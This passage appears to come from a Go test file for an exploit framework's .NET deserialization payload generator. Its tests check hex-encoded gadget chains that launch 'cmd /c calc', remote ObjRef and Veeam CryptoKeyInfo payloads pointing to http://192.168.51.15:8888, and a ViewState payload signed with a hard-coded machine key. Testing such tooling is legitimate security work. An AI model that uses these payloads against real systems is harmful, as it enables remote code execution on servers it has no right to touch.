"3c534f41502d454e563a456e76656c6f706520786d6c6e733a7873693d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e63652220786d6c6e733a7873643d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612220786d6c6e733a534f41502d454e433d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f2220786d6c6e733a534f41502d454e563d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220786d6c6e733a636c723d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f736f61702f656e636f64696e672f636c722f312e302220534f41502d454e563a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c534f41502d454e563a426f64793e3c61313a54657874466f726d617474696e6752756e50726f706572746965732069643d227265662d312220786d6c6e733a61313d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e73617373656d2f4d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672f4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d33316266333835366164333634653335223e3c466f726567726f756e6442727573682069643d227265662d3322207873693a747970653d227873643a737472696e67223e266c743b5265736f7572636544696374696f6e61727920786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e2220786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2220786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c69622220786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d222667743b266c743b4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274222667743b266c743b4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572732667743b266c743b533a537472696e672667743b636d64266c743b2f533a537472696e672667743b266c743b533a537472696e672667743b2f632063616c63266c743b2f533a537472696e672667743b266c743b2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572732667743b266c743b2f4f626a6563744461746150726f76696465722667743b266c743b2f5265736f7572636544696374696f6e6172792667743b3c2f466f726567726f756e6442727573683e3c2f61313a54657874466f726d617474696e6752756e50726f706572746965733e3c2f534f41502d454e563a426f64793e3c2f534f41502d454e563a456e76656c6f70653e" { t.Fatalf("Invalid TextFormattingRunProperties+SOAPFormatter output... val: %q hexform: %02x\n", got, got) } } func TestCreateDataSet(t *testing.T) { got, ok := CreateDataSet("cmd", "/c calc", "BinaryFormatter") if !ok { t.Fatalf("CreateDataSet failed to generate payload") } wants := "0001000000ffffffff01000000000000000c020000004e53797374656d2e446174612c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d6237376135633536313933346530383905010000001353797374656d2e446174612e446174615365740a00000016446174615365742e52656d6f74696e67466f726d617413446174615365742e446174615365744e616d6511446174615365742e4e616d6573706163650e446174615365742e50726566697815446174615365742e4361736553656e73697469766512446174615365742e4c6f63616c654c4349441a446174615365742e456e666f726365436f6e73747261696e74731a446174615365742e457874656e64656450726f7065727469657314446174615365742e5461626c65732e436f756e7410446174615365742e5461626c65735f30040101010000000200071f53797374656d2e446174612e53657269616c697a6174696f6e466f726d61740200000001080108020200000005fdffffff1f53797374656d2e446174612e53657269616c697a6174696f6e466f726d6174010000000776616c75655f5f00080200000001000000060400000000090400000009040000000009040000000a0100000009050000000f05000000d0020000020001000000ffffffff01000000000000000c020000005e4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d333162663338353661643336346533350501000000424d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672e54657874466f726d617474696e6752756e50726f70657274696573010000000f466f726567726f756e64427275736801020000000603000000f2033c5265736f7572636544696374696f6e61727920786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e2220786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2220786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c69622220786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d223e3c4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274223e3c4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e3c533a537472696e673e636d643c2f533a537472696e673e3c533a537472696e673e2f632063616c633c2f533a537472696e673e3c2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e3c2f4f626a6563744461746150726f76696465723e3c2f5265736f7572636544696374696f6e6172793e0b0b" if hex.EncodeToString([]byte(got)) != wants { t.Fatalf("Invalid CreateDataSet output... val: %q hexform: %02x\n", got, got) } } func TestCreateObjectDataProvider(t *testing.T) { got, ok := CreateObjectDataProvider("cmd", "/c calc", "") if !ok || fmt.Sprintf("%02x", got) != "7b222474797065223a2253797374656d2e57696e646f77732e446174612e4f626a6563744461746150726f76696465722c2050726573656e746174696f6e4672616d65776f726b2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d33316266333835366164333634653335222c224d6574686f644e616d65223a225374617274222c224d6574686f64506172616d6574657273223a7b222474797065223a2253797374656d2e436f6c6c656374696f6e732e41727261794c6973742c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839222c222476616c756573223a5b22636d64222c222f632063616c63225d7d2c224f626a656374496e7374616e6365223a7b222474797065223a2253797374656d2e446961676e6f73746963732e50726f636573732c2053797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839227d7d" { t.Fatalf("Invalid CreateObjectDataProvider output... val: %q hexform: %02x\n", got, got) } } func TestCreateTypeConfuseDelegate(t *testing.T) { got, ok := CreateTypeConfuseDelegate("cmd", "/c calc", "") if !ok || fmt.Sprintf("%02x", got) != "0001000000ffffffff01000000000000000c020000004953797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038390501000000840153797374656d2e436f6c6c656374696f6e732e47656e657269632e536f7274656453657460315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d0400000005436f756e7408436f6d70617265720756657273696f6e054974656d7300030006088d0153797374656d2e436f6c6c656374696f6e732e47656e657269632e436f6d70617269736f6e436f6d706172657260315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d080200000002000000090300000002000000090400000004030000008d0153797374656d2e436f6c6c656374696f6e732e47656e657269632e436f6d70617269736f6e436f6d706172657260315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d010000000b5f636f6d70617269736f6e032253797374656d2e44656c656761746553657269616c697a6174696f6e486f6c64657209050000001104000000020000000606000000072f632063616c63060700000003636d6404050000002253797374656d2e44656c656761746553657269616c697a6174696f6e486f6c646572030000000844656c6567617465076d6574686f6430076d6574686f64310303033053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e7472792f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c6465722f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c64657209080000000909000000090a00000004080000003053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e74727907000000047479706508617373656d626c79067461726765741274617267657454797065417373656d626c790e746172676574547970654e616d650a6d6574686f644e616d650d64656c6567617465456e747279010102010101033053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e747279060b000000b00253797374656d2e46756e6360335b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e446961676e6f73746963732e50726f636573732c2053797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d060c0000004b6d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038390a060d0000004953797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839060e0000001a53797374656d2e446961676e6f73746963732e50726f63657373060f000000055374617274091000000004090000002f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c64657207000000044e616d650c417373656d626c794e616d6509436c6173734e616d65095369676e61747572650a5369676e6174757265320a4d656d626572547970651047656e65726963417267756d656e747301010101010003080d53797374656d2e547970655b5d090f000000090d000000090e00000006140000003e53797374656d2e446961676e6f73746963732e50726f636573732053746172742853797374656d2e537472696e672c2053797374656d2e537472696e672906150000003e53797374656d2e446961676e6f73746963732e50726f636573732053746172742853797374656d2e537472696e672c2053797374656d2e537472696e6729080000000a010a00000009000000061600000007436f6d70617265090c00000006180000000d53797374656d2e537472696e6706190000002b496e74333220436f6d706172652853797374656d2e537472696e672c2053797374656d2e537472696e6729061a0000003253797374656d2e496e74333220436f6d706172652853797374656d2e537472696e672c2053797374656d2e537472696e6729080000000a011000000008000000061b0000007153797374656d2e436f6d70617269736f6e60315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d090c0000000a090c000000091800000009160000000a0b" { t.Fatalf("Invalid CreateTypeConfuseDelegate output... val: %q hexform: %02x\n", got, got) } } func TestCreateClaimsPrincipal(t *testing.T) { got, ok := CreateClaimsPrincipal("cmd", "/c calc", "SOAPFormatter") if !ok || fmt.Sprintf("%02x", got) != "3c534f41502d454e563a456e76656c6f706520786d6c6e733a7873693d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e63652220786d6c6e733a7873643d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612220786d6c6e733a534f41502d454e433d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f2220786d6c6e733a534f41502d454e563d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220786d6c6e733a636c723d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f736f61702f656e636f64696e672f636c722f312e302220534f41502d454e563a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c534f41502d454e563a426f64793e3c61313a436c61696d735072696e636970616c2069643d227265662d312220786d6c6e733a61313d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e73617373656d2f53797374656d2e53656375726974792e436c61696d732f6d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839223e3c6d5f73657269616c697a6564436c61696d734964656e7469746965732069643d227265662d3522207873693a747970653d227873643a737472696e67223e414145414141442f2f2f2f2f41514141414141414141414d4167414141456c5465584e305a57307349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d446735425145414141434541564e356333526c62533544623278735a574e3061573975637935485a57356c636d6c6a4c6c4e76636e526c5a464e6c644741785731745465584e305a573075553352796157356e4c43427463324e76636d787059697767566d567963326c76626a30304c6a41754d4334774c4342446457783064584a6c5057356c645852795957777349464231596d78705930746c6556527661325675505749334e324531597a55324d546b7a4e4755774f446c64585151414141414651323931626e514951323974634746795a584948566d567963326c766267564a6447567463774144414159496a51465465584e305a573075513239736247566a64476c76626e4d75523256755a584a70597935446232317759584a706332397551323974634746795a584a674d56746255336c7a644756744c6c4e30636d6c755a79776762584e6a62334a736157497349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d4467355856304941674141414149414141414a41774141414149414141414a4241414141415144414141416a51465465584e305a573075513239736247566a64476c76626e4d75523256755a584a70597935446232317759584a706332397551323974634746795a584a674d56746255336c7a644756744c6c4e30636d6c755a79776762584e6a62334a736157497349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d44673558563042414141414331396a6232317759584a706332397541794a5465584e305a573075524756735a576468644756545a584a7059577870656d463061573975534739735a475679435155414141415242414141414149414141414742674141414163765979426a5957786a42676341414141445932316b424155414141416955336c7a644756744c6b526c6247566e5958526c55325679615746736158706864476c76626b68766247526c63674d4141414149524756735a57646864475548625756306147396b4d4164745a58526f6232517841774d444d464e356333526c625335455a57786c5a3246305a564e6c636d6c6862476c3659585270623235496232786b5a584972524756735a57646864475646626e52796553395465584e305a573075556d566d6247566a64476c766269354e5a5731695a584a4a626d5a7655325679615746736158706864476c76626b68766247526c6369395465584e305a573075556d566d6247566a64476c766269354e5a5731695a584a4a626d5a7655325679615746736158706864476c76626b68766247526c63676b494141414143516b414141414a4367414141415149414141414d464e356333526c625335455a57786c5a3246305a564e6c636d6c6862476c3659585270623235496232786b5a584972524756735a57646864475646626e5279655163414141414564486c775a51686863334e6c62574a7365515a3059584a6e5a585153644746795a32563056486c775a55467a63325674596d7835446e5268636d646c644652356347564f5957316c436d316c644768765a4535686257554e5a4756735a57646864475646626e5279655145424167454241514d7755336c7a644756744c6b526c6247566e5958526c55325679615746736158706864476c76626b68766247526c636974455a57786c5a3246305a55567564484a354267734141414377416c4e356333526c625335476457356a59444e6257314e356333526c6253355464484a70626d63734947317a5932397962476c694c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f56307357314e356333526c6253355464484a70626d63734947317a5932397962476c694c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f56307357314e356333526c625335456157466e626d397a64476c6a63793551636d396a5a584e7a4c43425465584e305a57307349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d44673558563047444141414145747463324e76636d787059697767566d567963326c76626a30304c6a41754d4334774c4342446457783064584a6c5057356c645852795957777349464231596d78705930746c6556527661325675505749334e324531597a55324d546b7a4e4755774f446b4b426730414141424a55336c7a644756744c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f51594f41414141476c4e356333526c625335456157466e626d397a64476c6a63793551636d396a5a584e7a426738414141414655335268636e514a454141414141514a414141414c314e356333526c625335535a575a735a574e30615739754c6b316c62574a6c636b6c755a6d39545a584a7059577870656d463061573975534739735a475679427741414141524f5957316c4445467a63325674596d7835546d46745a516c446247467a633035686257554a55326c6e626d463064584a6c436c4e705a323568644856795a54494b54575674596d567956486c775a5242485a57356c636d6c6a51584a6e6457316c626e527a41514542415145414177674e55336c7a644756744c6c52356347566258516b5041414141435130414141414a446741414141595541414141506c4e356333526c625335456157466e626d397a64476c6a63793551636d396a5a584e7a49464e3059584a304b464e356333526c6253355464484a70626d637349464e356333526c6253355464484a70626d6370426855414141412b55336c7a644756744c6b52705957647562334e3061574e7a4c6c427962324e6c63334d6755335268636e516f55336c7a644756744c6c4e30636d6c755a79776755336c7a644756744c6c4e30636d6c755a796b49414141414367454b4141414143514141414159574141414142304e7662584268636d554a44414141414159594141414144564e356333526c6253355464484a70626d6347475141414143744a626e517a4d6942446232317759584a6c4b464e356333526c6253355464484a70626d637349464e356333526c6253355464484a70626d637042686f414141417955336c7a644756744c6b6c7564444d7949454e7662584268636d556f55336c7a644756744c6c4e30636d6c755a79776755336c7a644756744c6c4e30636d6c755a796b4941414141436745514141414143414141414159624141414163564e356333526c625335446232317759584a70633239755944466257314e356333526c6253355464484a70626d63734947317a5932397962476c694c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f563164435177414141414b435177414141414a4741414141416b57414141414367733d3c2f6d5f73657269616c697a6564436c61696d734964656e7469746965733e3c2f61313a436c61696d735072696e636970616c3e3c2f534f41502d454e563a426f64793e3c2f534f41502d454e563a456e76656c6f70653e" { t.Fatalf("Invalid CreateClaimsPrincipal+SOAPFormatter output... val: %q hexform: %02x\n", got, got) } } func TestCreateCreateDataSetTypeSpoof(t *testing.T) { got, ok := CreateDataSetTypeSpoof("cmd", "/c calc", "BinaryFormatter") if !ok || fmt.Sprintf("%02x", got) != "0001000000ffffffff01000000000000000c02000000086d73636f726c69620c030000004e53797374656d2e446174612c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d6237376135633536313933346530383905010000006353797374656d2e446174612e446174615365742c2053797374656d2e446174612c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038390a00000016446174615365742e52656d6f74696e67466f726d617413446174615365742e446174615365744e616d6511446174615365742e4e616d6573706163650e446174615365742e50726566697815446174615365742e4361736553656e73697469766512446174615365742e4c6f63616c654c4349441a446174615365742e456e666f726365436f6e73747261696e74731a446174615365742e457874656e64656450726f7065727469657314446174615365742e5461626c65732e436f756e7410446174615365742e5461626c65735f30040101010000000200071f53797374656d2e446174612e53657269616c697a6174696f6e466f726d61740300000001080108020200000005fcffffff1f53797374656d2e446174612e53657269616c697a6174696f6e466f726d6174010000000776616c75655f5f00080300000001000000060500000000090500000009050000000009040000000a0100000009060000000f06000000d0020000020001000000ffffffff01000000000000000c020000005e4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d333162663338353661643336346533350501000000424d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672e54657874466f726d617474696e6752756e50726f70657274696573010000000f466f726567726f756e64427275736801020000000603000000f2033c5265736f7572636544696374696f6e61727920786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e2220786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2220786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c69622220786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d223e3c4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274223e3c4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e3c533a537472696e673e636d643c2f533a537472696e673e3c533a537472696e673e2f632063616c633c2f533a537472696e673e3c2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e3c2f4f626a6563744461746150726f76696465723e3c2f5265736f7572636544696374696f6e6172793e0b0b" { t.Fatalf("Invalid CreateDataSetTypeSpoof output... val: %q hexform: %02x\n", got, got) } } func TestPrimitiveByte(t *testing.T) { got := PrimitiveByte(151).PrimToString() if got != "\x97" { t.Fatalf("Invalid PrimitiveByte PrimToString output... output: %q\n", got) } } func TestCreateObjectRef(t *testing.T) { got, ok := CreateObjectRef("http://192.168.51.15:8888/hcQaAT", "") if !ok || fmt.Sprintf("%02x", got) != "0001000000ffffffff010000000000000004010000001053797374656d2e457863657074696f6e0100000009436c6173734e616d65031e53797374656d2e52756e74696d652e52656d6f74696e672e4f626a526566090200000004020000001e53797374656d2e52756e74696d652e52656d6f74696e672e4f626a526566010000000375726c01060300000020687474703a2f2f3139322e3136382e35312e31353a383838382f6863516141540b" { t.Fatalf("Invalid CreateObjectRef output... val: %q hexform: %02x\n", got, got) } } func TestCreateVeeamCryptoKeyInfo(t *testing.T) { got, ok := CreateVeeamCryptoKeyInfo("http://192.168.51.15:8888/WPSIQB", "") if !ok || fmt.Sprintf("%02x", got) != "0001000000ffffffff01000000000000000c0200000056566565616d2e4261636b75702e4d6f64656c2c2056657273696f6e3d31322e312e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62666436383464653232373637383361050100000023566565616d2e4261636b75702e4d6f64656c2e43446243727970746f4b6579496e666f09000000024964084b65795365744964074b6579547970650448696e74114465637279707465644b657956616c75650a4c6f63616c654c434944134d6f64696669636174696f6e446174655574630943727970746f416c670a526570616972526563730302000101000000060b53797374656d2e4775696408080d080200000004fdffffff0b53797374656d2e477569640b000000025f61025f62025f63025f64025f65025f66025f67025f68025f69025f6a025f6b00000000000000000000000807070202020202020202de1e26afefbf524f970f7ffe1c1c79270a010000000604000000056161616161060500000004414141410904000000000000000000000100000009060000001106000000010000000607000000e801414145414141442f2f2f2f2f415141414141414141414145415141414142425465584e305a5730755258686a5a584230615739754151414141416c446247467a6330356862575544486c4e356333526c62533553645735306157316c4c6c4a6c625739306157356e4c6b3969616c4a6c5a676b4341414141424149414141416555336c7a644756744c6c4a31626e527062575575556d567462335270626d637554324a71556d566d4151414141414e31636d774242674d41414141676148523063446f764c7a45354d6934784e6a67754e5445754d5455364f4467344f43395855464e4a5555494c0b" { t.Fatalf("Invalid CreateVeeamCryptoKeyInfo output... val: %q hexform: %02x\n", got, got) } } func TestViewstateGeneration(t *testing.T) { payload, ok := CreateTextFormattingRunProperties("cmd", "/c calc", "LOSFormatter") // generate using our own dotnet generator if !ok { t.Fatal("Could not generate payload") } // sign the payload with the hard-coded key StaticMachineKey := "CB3721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25302BF" Generator := "4fe2630a" got, ok := CreateViewstatePayload(payload, StaticMachineKey, Generator) if !ok { t.Fatal("Could not generate viewstate payload") } if !ok || fmt.Sprintf("%02x", got) != "2f774579304155414151414141502f2f2f2f384241414141414141414141774341414141586b317059334a766332396d644335516233646c636c4e6f5a5778734c6b566b6158527663697767566d567963326c76626a307a4c6a41754d4334774c4342446457783064584a6c5057356c645852795957777349464231596d78705930746c655652766132567550544d78596d597a4f4455325957517a4e6a526c4d7a55464151414141454a4e61574e7962334e765a6e5175566d6c7a64574673553352315a476c764c6c526c65485175526d39796257463064476c755a7935555a586830526d39796257463064476c755a314a31626c42796233426c636e52705a584d424141414144305a76636d566e636d3931626d5243636e567a614145434141414142674d4141414479417a78535a584e7664584a6a5a5552705933527062323568636e6b6765473173626e4d39496d6830644841364c79397a5932686c6257467a4c6d317059334a766332396d6443356a6232307664326c755a6e67764d6a41774e693934595731734c3342795a584e6c626e526864476c766269496765473173626e4d36574430696148523063446f764c334e6a6147567459584d7562576c6a636d397a62325a304c6d4e76625339336157356d654338794d4441324c33686862577769494868746247357a4f6c4d39496d4e73636931755957316c633342685932553655336c7a644756744f32467a63325674596d78355057317a5932397962476c694969423462577875637a704550534a6a62484974626d46745a584e7759574e6c4f6c4e356333526c625335456157466e626d397a64476c6a637a746863334e6c62574a736554317a65584e305a573069506a7850596d706c593352455958526855484a76646d6c6b5a5849675744704c5a586b394969496754324a715a574e3056486c775a5430696531673656486c775a5342454f6c427962324e6c63334e394969424e5a58526f6232524f5957316c50534a54644746796443492b50453969616d566a6445526864474651636d39326157526c6369354e5a58526f6232525159584a68625756305a584a7a506a78544f6c4e30636d6c755a7a356a625751384c314d36553352796157356e506a78544f6c4e30636d6c755a7a34765979426a5957786a504339544f6c4e30636d6c755a7a34384c303969616d566a6445526864474651636d39326157526c6369354e5a58526f6232525159584a68625756305a584a7a506a777654324a715a574e30524746305956427962335a705a475679506a7776556d567a623356795932564561574e306157397559584a35506773464a64682f48794e4c72375a484339704164627343734e6b6d56747858447a4a50687743786e6b683178673d3d" { t.Fatalf("Invalid CreateViewstatePayload output... val: %q hexform: %02x\n", got, got) } } func TestCreateAxHostStateDLL(t *testing.T) { got, ok := CreateAxHostStateDLL([]byte("nonsense"), LOSFormatter) // generate using our own dotnet generator if !ok { t.Fatal("Could not generate payload") } if !ok || fmt.Sprintf("%02x", got) != "ff0132903d0001000000ffffffff01000000000000000c020000005753797374656d2e57696e646f77732e466f726d732c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d6237376135633536313933346530383905010000002153797374656d2e57696e646f77732e466f726d732e4178486f73742b5374617465010000001150726f706572747942616742696e61727907020200000009030000000f03000000cf1d0000020001000000ffffffff010000000000000004010000007f53797374656d2e436f6c6c656374696f6e732e47656e657269632e4c69737460315b5b53797374656d2e4f626a6563742c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d03000000065f6974656d73055f73697a65085f76657273696f6e050000080809020000000a0000000a0000001002000000100000000903000000090400000009050000000906000000090700000009080000000909000000090a000000090b000000090c0000000d0607030000000101000000010000000702090d0000000c0e0000006153797374656d2e576f726b666c6f772e436f6d706f6e656e744d6f64656c2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d3331626633383536616433363465333505040000006a53797374656d2e576f726b666c6f772e436f6d706f6e656e744d6f64656c2e53657269616c697a6174696f6e2e4163746976697479537572726f6761746553656c6563746f722b4f626a656374537572726f676174652b4f626a65637453657269616c697a65645265660200000004747970650b6d656d626572446174617303051f53797374656d2e556e69747953657269616c697a6174696f6e486f6c6465720e000000090f0000000910000000010500000004000000091100000009120000000106000000040000000913000000091400000001070000000400000009150000000916000000010800000004000000091700000009180000000109000000040000000919000000091a000000010a00000004000000091b000000091c000000010b00000004000000091d000000091e000000040c0000001c53797374656d2e436f6c6c656374696f6e732e486173687461626c65070000000a4c6f6164466163746f720756657273696f6e08436f6d70617265721048617368436f646550726f7669646572084861736853697a65044b6579730656616c756573000003030005050b081c53797374656d2e436f6c6c656374696f6e732e49436f6d70617265722453797374656d2e436f6c6c656374696f6e732e4948617368436f646550726f766964657208ec51383f020000000a0a03000000091f00000009200000000f0d00000008000000026e6f6e73656e7365040f0000001f53797374656d2e556e69747953657269616c697a6174696f6e486f6c64657203000000044461746109556e697479547970650c417373656d626c794e616d65010001080621000000fe0153797374656d2e4c696e712e456e756d657261626c652b576865726553656c656374456e756d657261626c654974657261746f7260325b5b53797374656d2e427974655b5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e5265666c656374696f6e2e417373656d626c792c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d0400000006220000004e53797374656d2e436f72652c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d6237376135633536313933346530383910100000000700000009030000000a09240000000a0808000000000a08080100000001110000000f0000000625000000f50253797374656d2e4c696e712e456e756d657261626c652b576865726553656c656374456e756d657261626c654974657261746f7260325b5b53797374656d2e5265666c656374696f6e2e417373656d626c792c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261626c6560315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d04000000092200000010120000000700000009040000000a09280000000a0808000000000a08080100000001130000000f0000000629000000df0353797374656d2e4c696e712e456e756d657261626c652b576865726553656c656374456e756d657261626c654974657261746f7260325b5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261626c6560315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e